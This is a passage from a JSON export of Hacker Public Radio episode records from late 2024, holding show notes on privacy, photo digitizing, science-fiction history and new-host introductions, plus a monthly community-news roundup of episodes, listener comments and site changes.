                                                              • Ken was recently at Spectrum24, an amateur radio\nconference in Paris.\n
                                                                  \n
                                                                • Meshtastic an open source,\noff-grid, decentralized, mesh network built to run on affordable,\nlow-power devices
                                                                • \n
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Old inkjet printers:\n
                                                                \n
                                                              • MrX has an Epson R300 printer where the black ink seems\nto have dried up.
                                                              • \n
                                                              • Dave has an old HP Inkjet with the same type of problem. This\nprinter has a scanner and FAX capability. An HPR show\nwas done in 2015 describing how it was set up to use a Raspberry Pi to\nmake it available on the local network.
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Propelling or mechanical pencils:\n
                                                                \n
                                                              • Dave had a Pentel GraphGear 1000 propelling (aka mechanical) pencil\nwhich was mentioned on HPR show\n3197. This was dropped onto concrete, and didn't appear damaged at\nthe time, but it apparently received internal damage and eventually fell\napart.
                                                              • \n
                                                            • \n
                                                            \n

                                                            Links

                                                            \n\n
                                                              \n
                                                            • Databases\n
                                                                \n
                                                              • SQLite:\n
                                                              • \n
                                                              • SQL:\n
                                                                  \n
                                                                • Origins: The\nBirth of SQL & the Relational Database
                                                                • \n
                                                                • Intricacies: MySQL\nJOIN Types Poster (Steve Stedman)
                                                                • \n
                                                              • \n
                                                              • Design:\n
                                                                  \n
                                                                • How\nto Fake a Database Design - Curtis Poe (Ovid)
                                                                • \n
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • The textimg tool:\n
                                                                \n
                                                              • GitHub repository: textimg
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • zellij:\n
                                                                \n
                                                              • Website: zellij
                                                              • \n
                                                              • Github repository: zellij
                                                              • \n
                                                              • Quote from the repo: Zellij is a workspace aimed at developers,\nops-oriented people and anyone who loves the terminal. Similar programs\nare sometimes called \"Terminal Multiplexers\".
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"HPR hosts, discussion, Edinburgh","version":0,"downloads":0,"valid":1}, {"id":4252,"date":"2024-11-19","title":"Privacy is not hiding","duration":984,"summary":"Sgoti argues privacy is not hiding","notes":"

                                                            Sgoti argues privacy is not\nhiding

                                                            \n
                                                              \n
                                                            • Tags: privacy, security, hiding
                                                            • \n
                                                            \n

                                                            Some Guy on the Internet, \"I consider any unwelcome questioning of\none's privacy to be a deliberate attack against ones' privacy. The\nattack is socially engineered to erode the victims guard against\nunwelcome questioning usually prompting the victim with an easy\nsurrendering statement, “I've got nothing to hide”. Once the victim\nsurrenders to the attack, by equating privacy with hiding, the victim\nbecomes more vulnerable to further/deeper probing for sensitive\ninformation.\"

                                                            \n
                                                              \n
                                                            • Source: wikipedia.org:\nPrivacy.
                                                            • \n
                                                            \n
                                                            \n

                                                            Privacy is the ability of an individual or group to seclude\nthemselves or information about themselves, and thereby express\nthemselves selectively.
                                                            \nThe domain of privacy partially overlaps with security, which can\ninclude the concepts of appropriate use and protection of information.\nPrivacy may also take the form of bodily integrity.

                                                            \n
                                                            \n
                                                              \n
                                                            • Supporting Source: cambridge.org: Privacy.
                                                            • \n
                                                            \n
                                                            \n

                                                            Someone's right to keep their personal matters and relationships\nsecret.

                                                            \n
                                                            \n
                                                              \n
                                                            • Supporting Source: merriam-webster.com:\nPrivacy.
                                                            • \n
                                                            \n
                                                            \n

                                                            a: the quality or state of being apart from company or observation :\nseclusion.
                                                            \nb: freedom from unauthorized intrusion.

                                                            \n
                                                            \n
                                                              \n
                                                            • Supporting Source: dictionary.com:\nPrivacy.
                                                            • \n
                                                            \n
                                                            \n

                                                            The state of being apart from other people or concealed from their\nview; solitude; seclusion: Please leave the room and give me some\nprivacy.
                                                            \nThe state of being free from unwanted or undue intrusion or disturbance\nin one's private life or affairs; freedom to be let alone: Tourists must\nrespect the tribe's privacy.

                                                            \n
                                                            \n
                                                              \n
                                                            • Source: Afroman put home\nfootage of a police... Now the cops are suing him.
                                                            • \n
                                                            • Source: Cops\nAre Suing a Teen for Invasion of Privacy After Allegedly False Arrest\nGoes Viral.
                                                            • \n
                                                            • Source: Addressing\nPolice Misconduct Laws Enforced By The Department Of Justice.
                                                            • \n
                                                            \n

                                                            This work is licensed under a Creative Commons\nAttribution-ShareAlike 4.0 International License.

                                                            \n","hostid":391,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"privacy, security, hiding","version":0,"downloads":0,"valid":1}, {"id":4253,"date":"2024-11-20","title":"A brief introduction of myself","duration":156,"summary":"Where kinghezy briefly introduces himself","notes":"

                                                            https://www.debian.org/

                                                            \n

                                                            https://wiki.debian.org/DebianTesting

                                                            \n

                                                            https://en.m.wikipedia.org/wiki/Rolling_release

                                                            \n

                                                            https://en.m.wikipedia.org/wiki/Amateur_radio

                                                            \n

                                                            https://www.arrl.org/getting-your-technician-license

                                                            \n","hostid":414,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Introduction","version":0,"downloads":0,"valid":1}, {"id":4254,"date":"2024-11-21","title":"Cake Money Money Cake Money Money Cake!","duration":698,"summary":"Operator talks about web server monitoring and financial tracking","notes":"

                                                            50 Cent Cake
                                                            \nhttps://m.youtube.com/watch?v=TuN709KlOsA

                                                            \n

                                                            Money, money, money, money
                                                            \nCake
                                                            \nI need the cake n***a

                                                            \n

                                                            The Unit don't play, we rap but we strapped
                                                            \nBuck got the shotgun, 50 got the mack
                                                            \nSpida got the sweeper and you bound to hear it clap
                                                            \nYou won't have another birthday cake afta that
                                                            \nCause Yayo got a temper and he don't know how to act
                                                            \nI've been gone all winter but now a n***a back

                                                            \n

                                                            To get the money, the money
                                                            \nThe money, the money, the cake

                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Servers,WebHosting,Financial Tracking,Money,Website Monitoring","version":0,"downloads":0,"valid":1}, {"id":4255,"date":"2024-11-22","title":"What is on My Podcast Player 2024, Part 1","duration":968,"summary":"This is an update on the podcasts Ahuka listens to.","notes":"

                                                            I listen to a lot of podcasts and so I am sharing my finds with the\ncommunity

                                                            \n

                                                            Links

                                                            \n\n","hostid":198,"series":75,"explicit":0,"license":"CC-BY-SA","tags":"podcasts","version":0,"downloads":0,"valid":1}, {"id":4256,"date":"2024-11-25","title":"Birds of a Feather Talk at OLF 2024","duration":1010,"summary":"Lyle and Thaj speak some nonsense to make other people make shows.","notes":"

                                                            Lyle and Thaj speak some nonsense to make other people make\nshows.

                                                            \n","hostid":270,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"OLF, Record a show","version":0,"downloads":0,"valid":1}, {"id":4257,"date":"2024-11-26","title":"Movie review: The Artifice Girl","duration":922,"summary":"In response to HPR4223, Kevie shares his thoughts on the movie","notes":"

                                                            Kevie, co-host of TuxJam, shares his thoughts on the movie The Artifice Girl. This is done in response (of sorts) to HPR 4223 by Some Guy On The Internet

                                                            \n

                                                            Note: please do not listen to this episode if you want to watch this movie, it contains spoilers.

                                                            \n","hostid":296,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"movie, review, sci-fi","version":0,"downloads":0,"valid":1}, {"id":4258,"date":"2024-11-27","title":"Introduction and History of Using Computers","duration":743,"summary":"Introducing myself to the HPR community and going through my timeline of computer usage.","notes":"

                                                            HPR Hosts mentioned:
                                                            \nArcher72 -\nMark Rice
                                                            \nTheLoveBug\n- Dave Lee
                                                            \nKevie
                                                            \nLochyboy -\nAlexander

                                                            \n

                                                            Computers mentioned:
                                                            \nOric-1, Oric Atmos, Dragon 32, Atari 800XL, Atari 400, Acorn Electron,\nAmstrad PCW8256, Amstrad PCW8512, Enterprise 128, AST PC, GateWay PC,\nSystem76 Thelio PC, Razer 15 Laptop

                                                            \n

                                                            The easiest ways for people to contact me via Telegram or\nMastodon.
                                                            \nTelegram: https://t.me/solusspider
                                                            \nMastodon: @SolusSpider@linuxrocks.online

                                                            \n","hostid":437,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Oric,Dragon,Atari,Acorn,Amstrad,Enterprise,Amiga,Windows,Linux,Food Bank,IRC,Newsgroups,ICQ,TuxJam","version":0,"downloads":0,"valid":1}, {"id":4259,"date":"2024-11-28","title":"Why digitize photos","duration":404,"summary":"Two reasons to digitize photos is discussed: for a historical archive or for a personal collection.","notes":"

                                                            Today I want to talk about why digitizing analog photos.

                                                            \n

                                                            Three years ago, I wrote a chapter in the annual book for a home\nvillage association. The chapter was about life in a small village in\nthe 1930's. In addition to the text I had a couple of black and white\nphoto prints from those days.

                                                            \n

                                                            I said black and white. But honestly, an eighty year old black and\nwhite print is not only black and white. Because of aging, type of paper\nand development method, the black and white print has colours. Should\nthe photos in the book chapter be of best black and white photo quality,\nor should they reflect the prints as they are at the time of the book\nrelease?

                                                            \n

                                                            There is no right or wrong answer into that question. But it relates\nto the topic, why digitize?

                                                            \n

                                                            I have found the web site \"Preserving history. How to Digitally\nArchive and Share Historical Photographs, Documents, and Audio\nRecordings\".

                                                            \n

                                                            The main focus is photographs, but as the title states it is also\nabout documents and audio. The web site is written and organized as a\nbook and is a very comprehensive and useful resource. It is a few years\nold but is still to a large extent accurate and relevant. The exact\ndetails, which equipment, formats, settings and so on can be discussed.\nAnd as technology has evolved, what the book describes as best has to\nsome extent changed so the best practise can now in some cases be seen\nas good practise.

                                                            \n

                                                            The book has a chapter titled \"Historical Archive Versus Personal\nPhotograph Collection\".

                                                            \n

                                                            The historical archive is about to preserve the object in every\ndetail, e.g. colours, scratches, borders and dimensions. It is\napplicable for true archives, like museums and other public\narchives.

                                                            \n

                                                            The other reason to digitize is of personal and family reasons. In\nthis scope, the focus is to have good photos. This approach gives better\nflexibility in method, equipment and settings, and in general the work\nwill probably be less time consuming.

                                                            \n

                                                            So the take away from this episode is that I recommend you to give\nthe purpose of why you digitize photos a thought before you start a big\ndigitizing project. And that you need to balance any desire to make the\nbest possible archival copy with the best possible equipment and all\ntime in the world with what is realistic for you, and what is good\nenough. And at the other end, the happiness to have and share a digital\nphoto copy of any quality is better than none at all, but considering a\nbit more of work and attention may improve the quality\nsignificantly.

                                                            \n

                                                            Finally, I also want to give a few remarks to my own episode number\n4244.

                                                            \n

                                                            I talked about placing the negative or positive in direct contact to\nglass under or above it. Be observant, there is a risk this will create\nNewton rings which can affect the result in a not acceptable way.

                                                            \n

                                                            The problem that the object is not totally flat in a flat bed scanner\nshould in most cases not be a problem because the scanners are normally\ndesigned to manage a bit of focus depth.

                                                            \n

                                                            Remarks on my repro setup:

                                                            \n

                                                            My digital camera is mounted on a repro stand. The stand is similar\nto the stand used in an analog darkroom.

                                                            \n

                                                            The \"duplication direction\" is opposite to the analog darkroom: The\ncamera is mounted on the stand, while the object to be duplicated is\nplaced on the base plate.

                                                            \n

                                                            I have a light table on the base plate when a negative or positive is\nduplicated.

                                                            \n

                                                            Mounted on the camera, depending on lens, may an extension tube be\nneeded to achieve the macro distance to duplicate a small object.

                                                            \n

                                                            References:

                                                            \n
                                                              \n
                                                            • Preserving history. How to Digitally Archive and Share Historical\nPhotographs, Documents, and Audio Recordings. https://archivehistory.jeksite.com

                                                            • \n
                                                            • Two methods of digitizing photos. https://hackerpublicradio.org/eps/hpr4244/index.html

                                                            • \n
                                                            \n","hostid":429,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"photography, digitize, digitizing, scanner, reproduction, repro","version":0,"downloads":0,"valid":1}, {"id":4260,"date":"2024-11-29","title":"The Golden Age","duration":933,"summary":"A look at the early history of science fiction","notes":"

                                                            This is a look at the early history of science fiction, focusing on\nthe Golden Age, which is roughly the decade from 1939-1950. This is when\nmany of the great authors developed their craft and became famous, and\nin turn set the ground for science fiction going forward.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":124,"explicit":0,"license":"CC-BY-SA","tags":"Science fiction, Golden Age, history","version":0,"downloads":0,"valid":1}, {"id":4261,"date":"2024-12-02","title":"HPR Community News for November 2024","duration":6688,"summary":"HPR Volunteers talk about shows released and comments posted in November 2024","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n SolusSpider.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            4240Fri2024-11-01The First Doctor, Part 1Ahuka
                                                            4241Mon2024-11-04HPR Community News for October 2024HPR Volunteers
                                                            4242Tue2024-11-05Interview with Lorenzo 'kelset' SciandraKen Fallon
                                                            4243Wed2024-11-06Hand Warmer, long term product reviewMrX
                                                            4244Thu2024-11-07Two methods of digitizing photos.Henrik Hemrin
                                                            4245Fri2024-11-08What's in my bag?Trey
                                                            4246Mon2024-11-11Bytes, Pages and ScreensLee
                                                            4247Tue2024-11-12Installing GuixSD--Part DeuxRho`n
                                                            4248Wed2024-11-13Millie PerkinsKen Fallon
                                                            4249Thu2024-11-14Audio Streams on the Command LineKevie
                                                            4250Fri2024-11-15Playing Civilization IV, Part 3Ahuka
                                                            4251Mon2024-11-18Dave and MrX turn over a new leafDave Morriss
                                                            4252Tue2024-11-19Privacy is not hidingSome Guy On The Internet
                                                            4253Wed2024-11-20A brief introduction of myselfKinghezy
                                                            4254Thu2024-11-21Cake Money Money Cake Money Money Cake!operat0r
                                                            4255Fri2024-11-22What is on My Podcast Player 2024, Part 1Ahuka
                                                            4256Mon2024-11-25Birds of a Feather Talk at OLF 2024Thaj Sara
                                                            4257Tue2024-11-26Movie review: The Artifice GirlKevie
                                                            4258Wed2024-11-27Introduction and History of Using ComputersSolusSpider
                                                            4259Thu2024-11-28Why digitize photosHenrik Hemrin
                                                            4260Fri2024-11-29The Golden AgeAhuka
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 61 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 21 comments on\n17 previous shows:

                                                            \n
                                                              \n
                                                            • hpr0870\n(2011-12-02) \"Computer Memories\"\nby Deltaray.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nSolusSpider - Peter Paterson on 2024-11-29:\n\"Commonality on Deltaray's computer experiences\"

                                                              \n
                                                            • hpr1322\n(2013-08-27) \"Kevin O'Brien - Ohio LinuxFest 2013\"\nby Ken Fallon.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nSolusSpider - Peter Paterson on 2024-11-26:\n\"Attended OLF2013\"

                                                              \n
                                                            • hpr1642\n(2014-11-18) \"Frist Time at Oggcamp\"\nby Al.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nSolusSpider - Peter Paterson on 2024-11-27:\n\"Al at Oggcamp - 10 years later\"

                                                              \n
                                                            • hpr1890\n(2015-10-30) \"A short walk with my son\"\nby thelovebug.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 4:\nSolusSpider - Peter Paterson on 2024-11-11:\n\"Comment on A short walk with my son\"

                                                              \n
                                                            • hpr2503\n(2018-03-07) \"My journey into podcasting\"\nby thelovebug.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nSolusSpider - Peter Paterson on 2024-11-18:\n\"Comment on TheLoveBug journey into podcasting.\"

                                                              \n
                                                            • hpr2673\n(2018-10-31) \"Urandom - Ohio Linux Fest 2-18 Podcaster Roundtable\"\nby Thaj Sara.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nSolusSpider - Peter Paterson on 2024-11-26:\n\"Wonderful OLF Podcasters Banter\"

                                                              \n
                                                            • hpr3315\n(2021-04-16) \"tesseract optical character recognition\"\nby Ken Fallon.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nSolusSpider - Peter Paterson on 2024-11-28:\n\"Tessaract OCR User\"
                                                              • \n
                                                              • \nComment 3:\nSolusSpider - Peter Paterson on 2024-11-29:\n\"Spelling of tesseract\"

                                                              \n
                                                            • hpr3998\n(2023-11-29) \"Using open source OCR to digitize my mom's book\"\nby Deltaray.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nSolusSpider - Peter Paterson on 2024-11-29:\n\"Experience with Tesseract OCR software\"

                                                              \n
                                                            • hpr4106\n(2024-04-29) \"My tribute to feeds\"\nby Henrik Hemrin.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nSolusSpider - Peter Paterson on 2024-11-27:\n\"New(ish) to Feeds\"
                                                              • \n
                                                              • \nComment 2:\nHenrik Hemrin on 2024-11-29:\n\"Thanks for feedback\"

                                                              \n
                                                            • hpr4129\n(2024-05-30) \"How I found Hacker Public Radio\"\nby Henrik Hemrin.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nSolusSpider - Peter Paterson on 2024-11-27:\n\"My own story of finding HPR\"

                                                              \n
                                                            • hpr4132\n(2024-06-04) \"Urandom talks about the future of HPR\"\nby Thaj Sara.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 4:\nSolusSpider - Peter Paterson on 2024-11-18:\n\"Comment on Urandom talks about the future of HPR\"

                                                              \n
                                                            • hpr4195\n(2024-08-30) \"Hacking HPR Hosts\"\nby Ken Fallon.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nSolusSpider - Peter Paterson on 2024-11-29:\n\"Another comment for Ken - he hacked this host\"

                                                              \n
                                                            • hpr4200\n(2024-09-06) \"Intro to Doctor Who\"\nby Ahuka.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 5:\nSolusSpider - Peter Paterson on 2024-11-09:\n\"Comment on Introduction To Doctor Who\"

                                                              \n
                                                            • hpr4220\n(2024-10-04) \"How Doctor Who Began\"\nby Ahuka.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nSolusSpider - Peter Paterson on 2024-11-11:\n\"Comment on How Doctor Who Began\"

                                                              \n
                                                            • hpr4233\n(2024-10-23) \"OggCamp 2024 Day 1\"\nby Ken Fallon.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\n@geospart on 2024-11-09:\n\"Nice\"

                                                              \n
                                                            • hpr4236\n(2024-10-28) \"History of Nintendo\"\nby Lochyboy.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nSolusSpider - Peter Paterson on 2024-11-10:\n\"Comment on History of Nintendo\"
                                                              • \n
                                                              • \nComment 4:\nJohn Curwood - blindape on 2024-11-20:\n\"Virtual Boy\"

                                                              \n
                                                            • hpr4238\n(2024-10-30) \"Snaps are better than flatpaks\"\nby Some Guy On The Internet.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nElliot B on 2024-11-01:\n\"Snaps are the least worst\"
                                                              • \n
                                                              • \nComment 3:\nmpardo on 2024-11-02:\n\"Snaps are indeed better that Flatpaks\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 40 comments on 16 of this month's shows:

                                                            \n
                                                            • hpr4240\n(2024-11-01) \"The First Doctor, Part 1\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevie on 2024-10-31:\n\"Keep them coming\"
                                                              • Comment 2:\nKevin O'Brien on 2024-11-02:\n\"More to come\"
                                                              • Comment 3:\nKen Fallon on 2024-11-07:\n\"Daleks\"

                                                              \n
                                                            • hpr4241\n(2024-11-04) \"HPR Community News for October 2024\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClaudioM on 2024-11-04:\n\"Commentary on Ep. 4231 (Tmux+dd+FreeBSD)\"
                                                              • Comment 2:\nTorin Doyle on 2024-11-10:\n\"Hunting, Buzzing\"
                                                              • Comment 3:\nDave Morriss on 2024-11-14:\n\"Buzzing?\"
                                                              • Comment 4:\nDave Lee (thelovebug) on 2024-11-16:\n\"Dave's buzzing\"
                                                              • Comment 5:\nTorin Doyle on 2024-11-18:\n\"Re: Buzzing (more like a hum) in the audio for Dave Morriss.\"
                                                              • Comment 6:\nDave Morriss on 2024-11-18:\n\"The buzzing of the brain\"

                                                              \n
                                                            • hpr4244\n(2024-11-07) \"Two methods of digitizing photos.\"\nby Henrik Hemrin.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHenrik Hemrin on 2024-11-07:\n\"Clarification equipment for repro photo\"
                                                              • Comment 2:\nKen Fallon on 2024-11-07:\n\"What hardware are you using\"
                                                              • Comment 3:\nHenrik Hemrin on 2024-11-07:\n\"Response to Ken\"
                                                              • Comment 4:\nCharles in NJ on 2024-11-08:\n\"Missed this show because feed is broken\"
                                                              • Comment 5:\nKen Fallon on 2024-11-08:\n\"Bug Report\"
                                                              • Comment 6:\nKen Fallon on 2024-11-09:\n\"Please send me your version of bashpodder\"

                                                              \n
                                                            • hpr4245\n(2024-11-08) \"What's in my bag?\"\nby Trey.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nmen Fallon on 2024-11-07:\n\"Backdoors and breaches\"

                                                              \n
                                                            • hpr4246\n(2024-11-11) \"Bytes, Pages and Screens\"\nby Lee.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2024-11-07:\n\"Terry Pratchett\"
                                                              • Comment 2:\nTorin Doyle on 2024-11-18:\n\"Podcasts, Books, TV\"

                                                              \n
                                                            • hpr4248\n(2024-11-13) \"Millie Perkins\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevie on 2024-11-13:\n\"A fantastic Oggcamp Talk\"

                                                              \n
                                                            • hpr4249\n(2024-11-14) \"Audio Streams on the Command Line\"\nby Kevie.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2024-11-07:\n\"Great Tips\"
                                                              • Comment 2:\nSolusSpider - Peter Paterson on 2024-11-14:\n\"Comment on Audio Streams on the Command Line\"
                                                              • Comment 3:\nJan on 2024-11-14:\n\"Just Thanks\"
                                                              • Comment 4:\nHenrik Hemrin on 2024-11-29:\n\"Command Line\"

                                                              \n
                                                            • hpr4251\n(2024-11-18) \"Dave and MrX turn over a new leaf\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nFXB on 2024-11-23:\n\"using wttr.in\"
                                                              • Comment 2:\nDave Morriss on 2024-11-23:\n\"Re: wttr.in\"

                                                              \n
                                                            • hpr4252\n(2024-11-19) \"Privacy is not hiding\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTim J on 2024-11-20:\n\"Big Tech is Watching You\"

                                                              \n
                                                            • hpr4253\n(2024-11-20) \"A brief introduction of myself\"\nby Kinghezy.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSolusSpider - Peter Paterson on 2024-11-20:\n\"Comment on kinghezy's introduction show hpr4253\"

                                                              \n
                                                            • hpr4256\n(2024-11-25) \"Birds of a Feather Talk at OLF 2024\"\nby Thaj Sara.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2024-11-21:\n\"Suspense\"
                                                              • Comment 2:\nThaj on 2024-11-25:\n\"Resolution\"
                                                              • Comment 3:\nWindigo on 2024-11-26:\n\"Future shows\"
                                                              • Comment 4:\nTorin Doyle on 2024-11-30:\n\"OLF?\"

                                                              \n
                                                            • hpr4257\n(2024-11-26) \"Movie review: The Artifice Girl\"\nby Kevie.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSolusSpider - Peter Paterson on 2024-11-26:\n\"Also watched The Atifice Girl\"

                                                              \n
                                                            • hpr4258\n(2024-11-27) \"Introduction and History of Using Computers\"\nby SolusSpider.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDave Lee (thelovebug) on 2024-11-18:\n\"Welcome to the HPR family\"
                                                              • Comment 2:\npresent_arms on 2024-11-19:\n\"This Podcast hpr4258 :: Introduction and History of Using Computers\"
                                                              • Comment 3:\narcher72 on 2024-11-27:\n\"Welcome to HPR\"
                                                              • Comment 4:\nHenrik Hemrin on 2024-11-29:\n\"Welcome as HPR host!\"

                                                              \n
                                                            • hpr4259\n(2024-11-28) \"Why digitize photos\"\nby Henrik Hemrin.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSolusSpider - Peter Paterson on 2024-11-28:\n\"The thoughts behind digitizing photos\"
                                                              • Comment 2:\nHenrik Hemrin on 2024-11-29:\n\"Thanks for your comment\"

                                                              \n
                                                            • hpr4272\n(2024-12-17) \"Embed Mastodon Threads\"\nby hairylarry.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2024-11-28:\n\"Wayne Myers ?? Where did I hear that name before ?\"

                                                              \n
                                                            • hpr4320\n(2025-02-21) \"Switching my Mastodon account\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2024-11-25:\n\"Target Audience of 1\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://lists.hackerpublicradio.com/pipermail/hpr/2024-November/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            It's been another hectic month here at HPR Towers.

                                                            \n

                                                            As we discussed on the mailing list most of the time was taken by the\nmigration to Mastodon, and the implementation of the mirrors on the\nCommunity Content Delivery Network. Some daily stats are been updated on\nhttps://hub.hackerpublicradio.org/hpr_ccdn_stats.tsv

                                                            \n

                                                            Summary of the changes to the repo https://repo.anhonesthost.net/HPR

                                                            \n

                                                            Dave updated his tooling for processing shows and they are now\navailable on the Gitea repo.

                                                            \n

                                                            We finally got around to creating the HPR Documentation wiki.

                                                            \n
                                                              \n
                                                            • Community Content Delivery Network (CCDN) A location to track the\ndeployment of the HPR Community Content Delivery Network, that provides\na mirror network for our content.
                                                            • \n
                                                            • HPR Website Design This is literally in the whiteboard phase of the\nHPR website redesign. Where we can track Compatibility of the clients\nsubscribed to our feeds.
                                                            • \n
                                                            • Useful Resources Where we can link to other free culture sites that\nprovide useful services.
                                                            • \n
                                                            • Requested Topics Where we can track topics that have been requested,\nand link to shows that addressed them.
                                                            • \n
                                                            \n

                                                            There is also a list with information about Podcatcher and Podcasting\nPlatform Compatibility. If anyone wants to adopt a player then please do\nso.

                                                            \n

                                                            The section on Workflow will be changing shortly due to Dave stepping\naside, and also the need to distribute to multiple end points. All the\nprocessing will happen first, and then all the checks will be done at\nthe same stage just prior to posting. For this to work we need help\nfinding a simple manageable WYSIWYG editor that can produce sane HTML\nwhen the host uploads the show. We also need a new system to distribute\nthe files from an origin to all the mirrors.

                                                            \n

                                                            Other changes and fixes.

                                                            \n
                                                              \n
                                                            • The day of the week is now available on the website.
                                                            • \n
                                                            • Fixed the RSS feed to show explicit status.
                                                            • \n
                                                            • Fixed a bug that limited the future feed to just 10 shows.
                                                            • \n
                                                            • Fixed a typo in the status page.
                                                            • \n
                                                            • Following feedback, added emphasis about the upcoming two weeks, to\nthe scheduling guidelines.
                                                            • \n
                                                            • Notable shout out to the people who are promoting HPR and are\nhelping people out with audio issues.
                                                            • \n
                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":4262,"date":"2024-12-03","title":"DIY C02","duration":584,"summary":"Quick chat and update on D I Y C 0 2","notes":"

                                                            Just KAGI.com it

                                                            \n","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"DIY","version":0,"downloads":0,"valid":1}, {"id":4263,"date":"2024-12-04","title":"An interview with Adam Matthews about the Disco Pigeon","duration":1432,"summary":"Ken interviews Adam who stole the show at OggCamp with his Disco Pigeon","notes":"

                                                            In today's show we speak to Adam Matthews about his Disco Pigeon that he displayed at OggCamp2024. He tells us his background, how it came to be, and chat about how he built it.

                                                            \n\n

                                                            \"A

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"DiscoPigeon, OggCamp24","version":0,"downloads":0,"valid":1}, {"id":4264,"date":"2024-12-05","title":"Mintcast, high crimes and misdemeanors.","duration":1833,"summary":"Sgoti talks about mintCast episode 450 Crumbling Foundations.","notes":"

                                                            Mintcast, high crimes\nand misdemeanors.

                                                            \nSgoti\ntalks about mintCast episode 450 Crumbling Foundations.\n
                                                              \n
                                                            • tags: Thunderbird, email, mintcast

                                                            • \n
                                                            • Source: mintcast: About mintCast.
                                                              \n

                                                              \n
                                                                \n
                                                              • mintCast is \"The podcast by the Linux Mint community for all users\nof Linux.\" As a community-driven podcast, we like to have as much\ninvolvement from special guests as possible.
                                                              • \n
                                                            • \n
                                                            • Supporting source: mintcast: Episode 450 Show\nNotes.
                                                              \n

                                                              \n
                                                                \n
                                                                1. \n
